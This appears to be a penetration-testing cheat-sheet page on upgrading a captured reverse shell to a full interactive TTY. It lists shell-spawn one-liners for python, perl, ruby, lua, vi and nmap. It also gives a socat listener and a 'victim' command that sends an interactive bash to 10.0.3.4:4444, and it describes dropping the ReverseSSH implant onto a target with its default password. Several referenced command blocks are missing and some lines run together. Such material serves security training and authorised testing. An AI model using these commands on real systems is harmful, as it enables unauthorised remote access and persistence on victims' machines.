Fix Shell
Interactive Shell
It's asking you for a terminal type. Type `xterm` and you should have it. From my understanding:
python -c 'import pty; pty.spawn("/bin/bash")'
or
echo 'os.system('/bin/bash')'
or
/bin/bash -i
Ctrl + Z
stty raw -echo
fg
reset
xterm Full TTY
Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.
python3 -c 'import pty; pty.spawn("/bin/bash")'(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;script -qc /bin/bash /dev/null(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;#Listener:socat file:`tty`,raw,echo=0 tcp-listen:4444#Victim:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444Spawn shells
python -c 'import pty; pty.spawn("/bin/sh")'echo os.system('/bin/bash')/bin/sh -iscript -qc /bin/bash /dev/nullperl -e 'exec "/bin/sh";'perl:
exec "/bin/sh";ruby:
exec "/bin/sh"lua:
os.execute('/bin/sh')IRB:
exec "/bin/sh"vi:
:!bashvi:
:set shell=/bin/bash:shellnmap:
!sh
ReverseSSH
A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.
Below is an example for x86 with upx-compressed binaries. For other binaries, check releases page.
Prepare locally to catch the ssh port forwarding request:
(2a) Linux target:
(2b) Windows 10 target (for earlier versions, check project readme):
If the ReverseSSH port forwarding request was successful, you should now be able to log in with default password
letmeinbrudiplsin the context of the user runningreverse-ssh(.exe):
No TTY
If for some reason you cannot obtain a full TTY you still can interact with programs that expects user input. In the following example, the password is passed to sudo to read a file:
Last updated
Was this helpful?